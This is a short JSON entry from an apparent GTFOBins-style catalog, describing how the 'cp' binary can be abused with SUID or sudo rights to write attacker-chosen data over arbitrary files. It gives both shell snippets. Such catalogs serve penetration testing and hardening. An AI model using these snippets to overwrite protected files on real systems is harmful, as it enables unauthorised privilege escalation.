You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
15 lines
376 B
JSON
15 lines
376 B
JSON
{
|
|
"description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.",
|
|
"functions": {
|
|
"suid": [
|
|
{
|
|
"code": "TF=$(mktemp)\necho \"DATA\" > $TF\n./cp $TF [file]\n"
|
|
}
|
|
],
|
|
"sudo": [
|
|
{
|
|
"code": "TF=$(mktemp)\necho \"DATA\" > $TF\nsudo cp $TF [file]\n"
|
|
}
|
|
]
|
|
}
|
|
} |